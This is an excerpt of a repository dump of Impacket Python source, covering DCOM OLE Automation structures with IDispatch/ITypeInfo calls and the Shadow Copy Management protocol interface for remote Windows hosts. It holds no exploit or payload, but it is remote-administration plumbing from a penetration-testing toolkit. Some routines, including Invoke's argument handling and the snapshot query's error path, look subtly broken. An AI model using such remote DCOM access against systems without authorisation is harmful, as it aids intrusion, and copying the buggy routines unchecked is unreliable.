VARENUM.VT_UI4                 : ('ulVal', ULONG),\n        VARENUM.VT_UI8                 : ('ullVal', ULONGLONG),\n        VARENUM.VT_INT                 : ('intVal', INT),\n        VARENUM.VT_UINT                : ('uintVal', UINT),\n        VARENUM.VT_DECIMAL             : ('decVal', DECIMAL),\n        VARENUM.VT_I1_OR_VT_BYREF      : ('pcVal', PCHAR),\n        VARENUM.VT_UI2_OR_VT_BYREF     : ('puiVal', PUSHORT),\n        VARENUM.VT_UI4_OR_VT_BYREF     : ('pulVal', PULONG),\n        VARENUM.VT_UI8_OR_VT_BYREF     : ('pullVal', PULONGLONG),\n        VARENUM.VT_INT_OR_VT_BYREF     : ('pintVal', PINT),\n        VARENUM.VT_UINT_OR_VT_BYREF    : ('puintVal', PUINT),\n        VARENUM.VT_DECIMAL_OR_VT_BYREF : ('pdecVal', PDECIMAL),\n        VARENUM.VT_EMPTY               : ('empty', EMPTY),\n        VARENUM.VT_NULL                : ('null', EMPTY),\n    }\n\nclass wireVARIANTStr(NDRSTRUCT):\n    structure = (\n        ('clSize',DWORD),\n        ('rpcReserved',DWORD),\n        ('vt',USHORT),\n        ('wReserved1',USHORT),\n        ('wReserved2',USHORT),\n        ('wReserved3',USHORT),\n        ('_varUnion',varUnion),\n    )\n\n    def getAlignment(self):\n        return 8\n\nclass VARIANT(NDRPOINTER):\n    referent = (\n        ('Data', wireVARIANTStr),\n    )\n\nclass PVARIANT(NDRPOINTER):\n    referent = (\n        ('Data', VARIANT),\n    )\n\n# 2.2.32 DISPID\nDISPID = LONG\n\n# 2.2.33 DISPPARAMS\nclass DISPID_ARRAY(NDRUniConformantArray):\n    item = '<L'\n\nclass PDISPID_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', DISPID_ARRAY),\n    )\n\nclass DISPPARAMS(NDRSTRUCT):\n    structure = (\n        ('rgvarg',PVARIANT_ARRAY),\n        ('rgdispidNamedArgs', PDISPID_ARRAY),\n        ('cArgs', UINT),\n        ('cNamedArgs', UINT),\n    )\n\n# 2.2.34 EXCEPINFO\nclass EXCEPINFO(NDRSTRUCT):\n    structure = (\n        ('wCode',WORD),\n        ('wReserved', WORD),\n        ('bstrSource', BSTR),\n        ('bstrDescription', BSTR),\n        ('bstrHelpFile', BSTR),\n        ('dwHelpContext', DWORD),\n        ('pvReserved', ULONG),\n        ('pfnDeferredFillIn', ULONG),\n        ('scode', HRESULT),\n    )\n\n# 2.2.35 MEMBERID\nMEMBERID = DISPID\n\n# 2.2.38 ARRAYDESC\nclass ARRAYDESC(NDRSTRUCT):\n    # In order to avoid the lack of forward declarations in Python\n    # I declare the item in the constructor\n    #structure = (\n    #    ('tdescElem',TYPEDESC),\n    #    ('cDims',USHORT),\n    #    ('rgbounds',SAFEARRAYBOUND_ARRAY),\n    #)\n    def __init__(self, data = None, isNDR64 = False):\n        NDRSTRUCT.__init__(self, data, isNDR64)\n        self.structure = (\n            ('tdescElem',TYPEDESC),\n            ('cDims',USHORT),\n            ('rgbounds',SAFEARRAYBOUND_ARRAY),\n        )\n\n# 2.2.37 TYPEDESC\nclass tdUnion(NDRUNION):\n    notAlign = True\n    commonHdr = (\n        ('tag', USHORT),\n    )\n    # In order to avoid the lack of forward declarations in Python\n    # I declare the item in the constructor\n    #union = {\n    #    VARENUM.VT_PTR: ('lptdesc', tdUnion),\n    #    VARENUM.VT_SAFEARRAY: ('lptdesc', tdUnion),\n    #    VARENUM.VT_CARRAY: ('lpadesc', ARRAYDESC),\n    #    VARENUM.VT_USERDEFINED: ('hreftype', HREFTYPE),\n    #}\n    def __init__(self, data = None, isNDR64=False, topLevel = False):\n        NDRUNION.__init__(self,None, isNDR64=isNDR64, topLevel=topLevel)\n        self.union = {\n            VARENUM.VT_PTR: ('lptdesc', PTYPEDESC),\n            VARENUM.VT_SAFEARRAY: ('lptdesc', PTYPEDESC),\n            VARENUM.VT_CARRAY: ('lpadesc', ARRAYDESC),\n            VARENUM.VT_USERDEFINED: ('hreftype', HREFTYPE),\n            'default': None,\n        }\n\nclass TYPEDESC(NDRSTRUCT):\n    structure = (\n        ('vtType',tdUnion),\n        ('vt', VARENUM),\n    )\n\n    def getAlignment(self):\n        return 4\n\nclass PTYPEDESC(NDRPOINTER):\n    referent = (\n        ('Data', TYPEDESC),\n    )\n    def __init__(self, data = None, isNDR64=False, topLevel = False):\n        ret = NDRPOINTER.__init__(self,None, isNDR64=isNDR64, topLevel = False)\n        # We're forcing the pointer not to be topLevel\n        if data is None:\n            self.fields['ReferentID'] = random.randint(1,65535)\n        else:\n           self.fromString(data)\n\n\n# 2.2.48 SCODE\nSCODE = LONG\n\nclass SCODE_ARRAY(NDRUniConformantArray):\n    item = SCODE\n\nclass PSCODE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', SCODE_ARRAY),\n    )\n\n# 2.2.39 PARAMDESCEX\nclass PARAMDESCEX(NDRSTRUCT):\n    structure = (\n        ('cBytes',ULONG),\n        ('varDefaultValue',VARIANT),\n    )\n\nclass PPARAMDESCEX(NDRPOINTER):\n    referent = (\n        ('Data', PARAMDESCEX),\n    )\n\n\n# 2.2.40 PARAMDESC\nclass PARAMDESC(NDRSTRUCT):\n    structure = (\n        ('pparamdescex',PPARAMDESCEX),\n        ('wParamFlags',USHORT),\n    )\n\n# 2.2.41 ELEMDESC\nclass ELEMDESC(NDRSTRUCT):\n    structure = (\n        ('tdesc',TYPEDESC),\n        ('paramdesc',PARAMDESC),\n    )\n\nclass ELEMDESC_ARRAY(NDRUniConformantArray):\n    item = ELEMDESC\n\nclass PELEMDESC_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', ELEMDESC_ARRAY),\n    )\n\n# 2.2.42 FUNCDESC\nclass FUNCDESC(NDRSTRUCT):\n    structure = (\n        ('memid',MEMBERID),\n        ('lReserved1',PSCODE_ARRAY),\n        ('lprgelemdescParam',PELEMDESC_ARRAY),\n        ('funckind',FUNCKIND),\n        ('invkind',INVOKEKIND),\n        ('callconv',CALLCONV),\n        ('cParams',SHORT),\n        ('cParamsOpt',SHORT),\n        ('oVft',SHORT),\n        ('cReserved2',SHORT),\n        ('elemdescFunc',ELEMDESC),\n        ('wFuncFlags',WORD),\n    )\n\nclass LPFUNCDESC(NDRPOINTER):\n    referent = (\n        ('Data', FUNCDESC),\n    )\n# 2.2.44 TYPEATTR\nclass TYPEATTR(NDRSTRUCT):\n    structure = (\n        ('guid',GUID),\n        ('lcid',LCID),\n        ('dwReserved1',DWORD),\n        ('dwReserved2',DWORD),\n        ('dwReserved3',DWORD),\n        ('lpstrReserved4',LPOLESTR),\n        ('cbSizeInstance',ULONG),\n        ('typeKind',TYPEKIND),\n        ('cFuncs',WORD),\n        ('cVars',WORD),\n        ('cImplTypes',WORD),\n        ('cbSizeVft',WORD),\n        ('cbAlignment',WORD),\n        ('wTypeFlags',WORD),\n        ('wMajorVerNum',WORD),\n        ('wMinorVerNum',WORD),\n        ('tdescAlias',TYPEDESC),\n        ('dwReserved5',DWORD),\n        ('dwReserved6',WORD),\n    )\n\nclass PTYPEATTR(NDRPOINTER):\n    referent = (\n        ('Data', TYPEATTR),\n    )\n\nclass BSTR_ARRAY_CV(NDRUniConformantVaryingArray):\n    item = BSTR\n\nclass UINT_ARRAY(NDRUniConformantArray):\n    item = '<L'\n\nclass OLESTR_ARRAY(NDRUniConformantArray):\n    item = LPOLESTR\n\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.1 IDispatch::GetTypeInfoCount (Opnum 3)\nclass IDispatch_GetTypeInfoCount(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('pwszMachineName', LPWSTR),\n    )\n\nclass IDispatch_GetTypeInfoCountResponse(DCOMANSWER):\n    structure = (\n       ('pctinfo', ULONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.2 IDispatch::GetTypeInfo (Opnum 4)\nclass IDispatch_GetTypeInfo(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('iTInfo', ULONG),\n       ('lcid', DWORD),\n    )\n\nclass IDispatch_GetTypeInfoResponse(DCOMANSWER):\n    structure = (\n       ('ppTInfo', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.3 IDispatch::GetIDsOfNames (Opnum 5)\nclass IDispatch_GetIDsOfNames(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('riid', REFIID),\n       ('rgszNames', OLESTR_ARRAY),\n       ('cNames', UINT),\n       ('lcid', LCID),\n    )\n\nclass IDispatch_GetIDsOfNamesResponse(DCOMANSWER):\n    structure = (\n       ('rgDispId', DISPID_ARRAY),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4 IDispatch::Invoke (Opnum 6)\nclass IDispatch_Invoke(DCOMCALL):\n    opnum = 6\n    structure = (\n       ('dispIdMember', DISPID),\n       ('riid', REFIID),\n       ('lcid', LCID),\n       ('dwFlags', DWORD),\n       ('pDispParams', DISPPARAMS),\n       ('cVarRef', UINT),\n       ('rgVarRefIdx', UINT_ARRAY),\n       ('rgVarRef', VARIANT_ARRAY),\n    )\n\nclass IDispatch_InvokeResponse(DCOMANSWER):\n    structure = (\n       ('pVarResult', VARIANT),\n       ('pExcepInfo', EXCEPINFO),\n       ('pArgErr', UINT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.7.4.1 ITypeInfo::GetTypeAttr (Opnum 3)\nclass ITypeInfo_GetTypeAttr(DCOMCALL):\n    opnum = 3\n    structure = (\n    )\n\nclass ITypeInfo_GetTypeAttrResponse(DCOMANSWER):\n    structure = (\n       ('ppTypeAttr', PTYPEATTR),\n       ('pReserved', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.7.4.2 ITypeInfo::GetTypeComp (Opnum 4)\nclass ITypeInfo_GetTypeComp(DCOMCALL):\n    opnum = 4\n    structure = (\n    )\n\nclass ITypeInfo_GetTypeCompResponse(DCOMANSWER):\n    structure = (\n       ('ppTComp', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.7.4.3 ITypeInfo::GetFuncDesc (Opnum 5)\nclass ITypeInfo_GetFuncDesc(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('index', UINT),\n    )\n\nclass ITypeInfo_GetFuncDescResponse(DCOMANSWER):\n    structure = (\n       ('ppFuncDesc', LPFUNCDESC),\n       ('pReserved', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.7.4.5 ITypeInfo::GetNames (Opnum 7)\nclass ITypeInfo_GetNames(DCOMCALL):\n    opnum = 7\n    structure = (\n       ('memid', MEMBERID),\n       ('cMaxNames', UINT),\n    )\n\nclass ITypeInfo_GetNamesResponse(DCOMANSWER):\n    structure = (\n       ('rgBstrNames', BSTR_ARRAY_CV),\n       ('pcNames', UINT),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.7.4.8 ITypeInfo::GetDocumentation (Opnum 12)\nclass ITypeInfo_GetDocumentation(DCOMCALL):\n    opnum = 12\n    structure = (\n       ('memid', MEMBERID),\n       ('refPtrFlags', DWORD),\n    )\n\nclass ITypeInfo_GetDocumentationResponse(DCOMANSWER):\n    structure = (\n       ('pBstrName', BSTR),\n       ('pBstrDocString', BSTR),\n       ('pdwHelpContext', DWORD),\n       ('ErrorCode', error_status_t),\n    )\n\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n}\n\n################################################################################\n# HELPER FUNCTIONS AND INTERFACES\n################################################################################\n# 4.8.5 Enumerating All Methods in an Interface\n# INPUT: IDispatch pointer from the automation server\n# CALL IDispatch::GetTypeInfoCount and OBTAIN pcTInfo\n# COMMENT see Section 3.1.4.1 for information on pcTInfo i\n# IF pcTInfo = 0 THEN\n#     PRINT Automation Server does not support type information for this object\n# ELSE\n#     CALL IDispatch::GetTypeInfo with correct LocaleID and OBTAIN ITypeInfo pointer\n#     CALL ITypeInfo::GetDocumentation(MEMBERID_NIL, 1, &BstrName, NULL, NULL, NULL)\n#     PRINT Name of the Interface is BstrName\n#     CALL ITypeInfo::GetTypeAttr and OBTAIN TYPEATTR pointer\n#\n#     FOR X = 0 to TYPEATTR:: cFuncs -1\n#         CALL ITypeInfo::GetFuncDesc with X and OBTAIN FUNCDESC pointer\n#         CALL ITypeInfo::GetNames with FUNCDESC::memid and appropriate values for\n#             rgBstrNames, cMaxNames and pcNames\n#         COMMENT see Section 3.7.4.5 for more information regarding the parameters\n#                 to ITypeinfo::GetNames\n#         IF pcNames > 0 THEN\n#             PRINT Name of the method is rgBstrNames[0]\n#             PRINT Parameters to above method are following\n#             FOR Y = 1 to pcNames -1\n#                 PRINT rgBstrNames[Y]\n#             END FOR\n#         END IF\n#     END FOR i\n# ENDIF\ndef enumerateMethods(iInterface):\n    methods = dict()\n    typeInfoCount = iInterface.GetTypeInfoCount()\n    if typeInfoCount['pctinfo'] == 0:\n        LOG.error('Automation Server does not support type information for this object')\n        return {}\n    iTypeInfo = iInterface.GetTypeInfo()\n    iTypeAttr = iTypeInfo.GetTypeAttr()\n    for x in range(iTypeAttr['ppTypeAttr']['cFuncs']):\n        funcDesc = iTypeInfo.GetFuncDesc(x)\n        names = iTypeInfo.GetNames(funcDesc['ppFuncDesc']['memid'], 255)\n        print(names['rgBstrNames'][0]['asData'])\n        funcDesc.dump()\n        print('='*80)\n        if names['pcNames'] > 0:\n            name = names['rgBstrNames'][0]['asData']\n            methods[name] = {}\n            for param in range(1, names['pcNames']):\n                methods[name][names['rgBstrNames'][param]['asData']] = ''\n        if funcDesc['ppFuncDesc']['elemdescFunc'] != NULL:\n            methods[name]['ret'] = funcDesc['ppFuncDesc']['elemdescFunc']['tdesc']['vt']\n\n    return methods\n\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\nclass ITypeComp(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self,interface)\n        self._iid = IID_ITypeComp\n\nclass ITypeInfo(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self,interface)\n        self._iid = IID_ITypeInfo\n\n    def GetTypeAttr(self):\n        request = ITypeInfo_GetTypeAttr()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def GetTypeComp(self):\n        request = ITypeInfo_GetTypeComp()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return ITypeComp(INTERFACE(self.get_cinstance(), b''.join(resp['ppTComp']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n\n    def GetFuncDesc(self, index):\n        request = ITypeInfo_GetFuncDesc()\n        request['index'] = index\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def GetNames(self, memid, cMaxNames=10):\n        request = ITypeInfo_GetNames()\n        request['memid'] = memid\n        request['cMaxNames'] = cMaxNames\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def GetDocumentation(self, memid, refPtrFlags=15):\n        request = ITypeInfo_GetDocumentation()\n        request['memid'] = memid\n        request['refPtrFlags'] = refPtrFlags\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n\nclass IDispatch(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self,interface)\n        self._iid = IID_IDispatch\n\n    def GetTypeInfoCount(self):\n        request = IDispatch_GetTypeInfoCount()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\n    def GetTypeInfo(self):\n        request = IDispatch_GetTypeInfo()\n        request['iTInfo'] = 0\n        request['lcid'] = 0\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return ITypeInfo(INTERFACE(self.get_cinstance(), b''.join(resp['ppTInfo']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n\n    def GetIDsOfNames(self, rgszNames, lcid = 0):\n        request = IDispatch_GetIDsOfNames()\n        request['riid'] = IID_NULL\n        for name in rgszNames:\n            tmpName = LPOLESTR()\n            tmpName['Data'] = checkNullString(name)\n            request['rgszNames'].append(tmpName)\n        request['cNames'] = len(rgszNames)\n        request['lcid'] = lcid\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        IDs = list()\n        for id in resp['rgDispId']:\n            IDs.append(id)\n\n        return IDs\n\n    def Invoke(self, dispIdMember, lcid, dwFlags, pDispParams, cVarRef, rgVarRefIdx, rgVarRef):\n        request = IDispatch_Invoke()\n        request['dispIdMember'] = dispIdMember\n        request['riid'] = IID_NULL\n        request['lcid'] = lcid\n        request['dwFlags'] = dwFlags\n        request['pDispParams'] = pDispParams\n        request['cVarRef'] = cVarRef\n        request['rgVarRefIdx'] = rgVarRefIdx\n        request['rgVarRef'] = rgVarRefIdx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n"
  },
  {
    "path": "impacket/dcerpc/v5/dcom/scmp.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-SCMP]: Shadow Copy Management Protocol Interface implementation\n#              This was used as a way to test the DCOM runtime. Further\n#              testing is needed to verify it is working as expected\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Since DCOM is like an OO RPC, instead of helper functions you will see the\n#   classes described in the standards developed.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom impacket.dcerpc.v5.ndr import NDRENUM, NDRSTRUCT, NDRUNION\nfrom impacket.dcerpc.v5.dcomrt import PMInterfacePointer, INTERFACE, DCOMCALL, DCOMANSWER, IRemUnknown2\nfrom impacket.dcerpc.v5.dtypes import LONG, LONGLONG, ULONG, WSTR\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket import hresult_errors\nfrom impacket.uuid import string_to_bin\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        if self.error_code in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] \n            return 'SCMP SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'SCMP SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 1.9 Standards Assignments\nCLSID_ShadowCopyProvider = string_to_bin('0b5a2c52-3eb9-470a-96e2-6c6d4570e40f')\nIID_IVssSnapshotMgmt = string_to_bin('FA7DF749-66E7-4986-A27F-E2F04AE53772')\nIID_IVssEnumObject   = string_to_bin('AE1C7110-2F60-11d3-8A39-00C04F72D8E3')\nIID_IVssDifferentialSoftwareSnapshotMgmt = string_to_bin('214A0F28-B737-4026-B847-4F9E37D79529')\nIID_IVssEnumMgmtObject = string_to_bin('01954E6B-9254-4e6e-808C-C9E05D007696')\nIID_ShadowCopyProvider = string_to_bin('B5946137-7B9F-4925-AF80-51ABD60B20D5')\n\n# 2.2.1.1 VSS_ID\nclass VSS_ID(NDRSTRUCT):\n    structure = (\n        ('Data','16s=b\"\"'),\n    )\n\n    def getAlignment(self):\n        return 2\n\n#2.2.1.2 VSS_PWSZ\nVSS_PWSZ = WSTR\n\n# 2.2.1.3 VSS_TIMESTAMP\nVSS_TIMESTAMP = LONGLONG\n\nerror_status_t = LONG\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.2.1 VSS_OBJECT_TYPE Enumeration\nclass VSS_OBJECT_TYPE(NDRENUM):\n    class enumItems(Enum):\n        VSS_OBJECT_UNKNOWN      = 0\n        VSS_OBJECT_NONE         = 1\n        VSS_OBJECT_SNAPSHOT_SET = 2\n        VSS_OBJECT_SNAPSHOT     = 3\n        VSS_OBJECT_PROVIDER     = 4\n        VSS_OBJECT_TYPE_COUNT   = 5\n\n# 2.2.2.2 VSS_MGMT_OBJECT_TYPE Enumeration\nclass VSS_MGMT_OBJECT_TYPE(NDRENUM):\n    class enumItems(Enum):\n        VSS_MGMT_OBJECT_UNKNOWN     = 0\n        VSS_MGMT_OBJECT_VOLUME      = 1\n        VSS_MGMT_OBJECT_DIFF_VOLUME = 2\n        VSS_MGMT_OBJECT_DIFF_AREA   = 3\n\n# 2.2.2.3 VSS_VOLUME_SNAPSHOT_ATTRIBUTES Enumeration\nclass VSS_VOLUME_SNAPSHOT_ATTRIBUTES(NDRENUM):\n    class enumItems(Enum):\n        VSS_VOLSNAP_ATTR_PERSISTENT        = 0x01\n        VSS_VOLSNAP_ATTR_NO_AUTORECOVERY   = 0x02\n        VSS_VOLSNAP_ATTR_CLIENT_ACCESSIBLE = 0x04\n        VSS_VOLSNAP_ATTR_NO_AUTO_RELEASE   = 0x08\n        VSS_VOLSNAP_ATTR_NO_WRITERS        = 0x10\n\n# 2.2.2.4 VSS_SNAPSHOT_STATE Enumeration\nclass VSS_SNAPSHOT_STATE(NDRENUM):\n    class enumItems(Enum):\n        VSS_SS_UNKNOWN  = 0x01\n        VSS_SS_CREATED  = 0x0c\n\n# 2.2.2.5 VSS_PROVIDER_TYPE Enumeration\nclass  VSS_PROVIDER_TYPE(NDRENUM):\n    class enumItems(Enum):\n        VSS_PROV_UNKNOWN  = 0\n\n# 2.2.3.7 VSS_VOLUME_PROP Structure\nclass VSS_VOLUME_PROP(NDRSTRUCT):\n    structure = (\n        ('m_pwszVolumeName', VSS_PWSZ),\n        ('m_pwszVolumeDisplayName', VSS_PWSZ),\n    )\n\n# 2.2.3.5 VSS_MGMT_OBJECT_UNION Union\nclass VSS_MGMT_OBJECT_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        VSS_MGMT_OBJECT_TYPE.VSS_MGMT_OBJECT_VOLUME: ('Vol', VSS_VOLUME_PROP),\n        #VSS_MGMT_OBJECT_DIFF_VOLUME: ('DiffVol', VSS_DIFF_VOLUME_PROP),\n        #VSS_MGMT_OBJECT_DIFF_AREA: ('DiffArea', VSS_DIFF_AREA_PROP),\n    }\n\n# 2.2.3.6 VSS_MGMT_OBJECT_PROP Structure\nclass VSS_MGMT_OBJECT_PROP(NDRSTRUCT):\n    structure = (\n        ('Type', VSS_MGMT_OBJECT_TYPE),\n        ('Obj', VSS_MGMT_OBJECT_UNION),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.3 IVssEnumMgmtObject Details\n\n# 3.1.3.1 Next (Opnum 3)\nclass IVssEnumMgmtObject_Next(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('celt', ULONG),\n    )\n\nclass IVssEnumMgmtObject_NextResponse(DCOMANSWER):\n    structure = (\n       ('rgelt', VSS_MGMT_OBJECT_PROP),\n       ('pceltFetched', ULONG),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.2.1 Next (Opnum 3)\nclass IVssEnumObject_Next(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('celt', ULONG),\n    )\n\nclass IVssEnumObject_NextResponse(DCOMANSWER):\n    structure = (\n       ('rgelt', VSS_MGMT_OBJECT_PROP),\n       ('pceltFetched', ULONG),\n       ('ErrorCode', error_status_t),\n    )\n\nclass GetProviderMgmtInterface(DCOMCALL):\n    opnum = 3\n    structure = (\n       ('ProviderId', VSS_ID),\n       ('InterfaceId', VSS_ID),\n    )\n\nclass GetProviderMgmtInterfaceResponse(DCOMANSWER):\n    structure = (\n       ('ppItf', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\nclass QueryVolumesSupportedForSnapshots(DCOMCALL):\n    opnum = 4\n    structure = (\n       ('ProviderId', VSS_ID),\n       ('IContext', LONG),\n    )\n\nclass QueryVolumesSupportedForSnapshotsResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\nclass QuerySnapshotsByVolume(DCOMCALL):\n    opnum = 5\n    structure = (\n       ('pwszVolumeName', VSS_PWSZ),\n       ('ProviderId', VSS_ID),\n    )\n\nclass QuerySnapshotsByVolumeResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.5 QueryDiffAreasForVolume (Opnum 6)\nclass QueryDiffAreasForVolume(DCOMCALL):\n    opnum = 6\n    structure = (\n       ('pwszVolumeName', VSS_PWSZ),\n    )\n\nclass QueryDiffAreasForVolumeResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n# 3.1.4.4.6 QueryDiffAreasOnVolume (Opnum 7)\nclass QueryDiffAreasOnVolume(DCOMCALL):\n    opnum = 7\n    structure = (\n       ('pwszVolumeName', VSS_PWSZ),\n    )\n\nclass QueryDiffAreasOnVolumeResponse(DCOMANSWER):\n    structure = (\n       ('ppEnum', PMInterfacePointer),\n       ('ErrorCode', error_status_t),\n    )\n\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n}\n\n################################################################################\n# HELPER FUNCTIONS AND INTERFACES\n################################################################################\nclass IVssEnumMgmtObject(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self, interface)\n        self._iid = IID_IVssEnumMgmtObject\n\n    def Next(self, celt):\n        request = IVssEnumMgmtObject_Next()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['celt'] = celt\n        resp = self.request(request, self._iid, uuid = self.get_iPid())\n        return resp \n\nclass IVssEnumObject(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self, interface)\n        self._iid = IID_IVssEnumObject\n\n    def Next(self, celt):\n        request = IVssEnumObject_Next()\n        request['ORPCthis'] = self.get_cinstance().get_ORPCthis()\n        request['ORPCthis']['flags'] = 0\n        request['celt'] = celt\n        dce = self.connect()\n        resp = dce.request(request, self._iid, uuid = self.get_iPid())\n        return resp \n\nclass IVssSnapshotMgmt(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self, interface)\n        self._iid = IID_IVssSnapshotMgmt\n\n    def GetProviderMgmtInterface(self, providerId = IID_ShadowCopyProvider, interfaceId = IID_IVssDifferentialSoftwareSnapshotMgmt):\n        req = GetProviderMgmtInterface()\n        classInstance = self.get_cinstance()\n        req['ORPCthis'] = classInstance.get_ORPCthis()\n        req['ORPCthis']['flags'] = 0\n        req['ProviderId'] = providerId\n        req['InterfaceId'] = interfaceId\n        resp = self.request(req, self._iid, uuid = self.get_iPid())\n        return IVssDifferentialSoftwareSnapshotMgmt(INTERFACE(classInstance, ''.join(resp['ppItf']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n\n    def QueryVolumesSupportedForSnapshots(self, providerId, iContext):\n        req = QueryVolumesSupportedForSnapshots()\n        classInstance = self.get_cinstance()\n        req['ORPCthis'] = classInstance.get_ORPCthis()\n        req['ORPCthis']['flags'] = 0\n        req['ProviderId'] = providerId\n        req['IContext'] = iContext\n        resp = self.request(req, self._iid, uuid = self.get_iPid())\n        return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),target = self.get_target()))\n\n    def QuerySnapshotsByVolume(self, volumeName, providerId = IID_ShadowCopyProvider):\n        req = QuerySnapshotsByVolume()\n        classInstance = self.get_cinstance()\n        req['ORPCthis'] = classInstance.get_ORPCthis()\n        req['ORPCthis']['flags'] = 0\n        req['pwszVolumeName'] = volumeName\n        req['ProviderId'] = providerId\n        try:\n            resp = self.request(req, self._iid, uuid = self.get_iPid())\n        except DCERPCException as e:\n            print(e)\n            from impacket.winregistry import hexdump\n            data = e.get_packet()\n            hexdump(data)\n            kk = QuerySnapshotsByVolumeResponse(data)\n            kk.dump()\n        #resp.dump()\n        return IVssEnumObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n\nclass IVssDifferentialSoftwareSnapshotMgmt(IRemUnknown2):\n    def __init__(self, interface):\n        IRemUnknown2.__init__(self, interface)\n        self._iid = IID_IVssDifferentialSoftwareSnapshotMgmt\n\n    def QueryDiffAreasOnVolume(self, pwszVolumeName):\n        req = QueryDiffAreasOnVolume()\n        classInstance = self.get_cinstance()\n        req['ORPCthis'] = classInstance.get_ORPCthis()\n        req['ORPCthis']['flags'] = 0\n        req['pwszVolumeName'] = pwszVolumeName\n        resp = self.request(req, self._iid, uuid = self.get_iPid())\n        return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n\n    def QueryDiffAreasForVolume(self, pwszVolumeName):\n        req = QueryDiffAreasForVolume()\n        classInstance = self.get_cinstance()\n        req['ORPCthis'] = classInstance.get_ORPCthis()\n        req['ORPCthis']['flags'] = 0\n        req['pwszVolumeName'] = pwszVolumeName\n        resp = self.request(req, self._iid, uuid = self.get_iPid())\n        return IVssEnumMgmtObject(INTERFACE(self.get_cinstance(), ''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target = self.get_target()))\n"
  },
  {
    "path": "impacket/dcerpc/v5/dcom/vds.py",
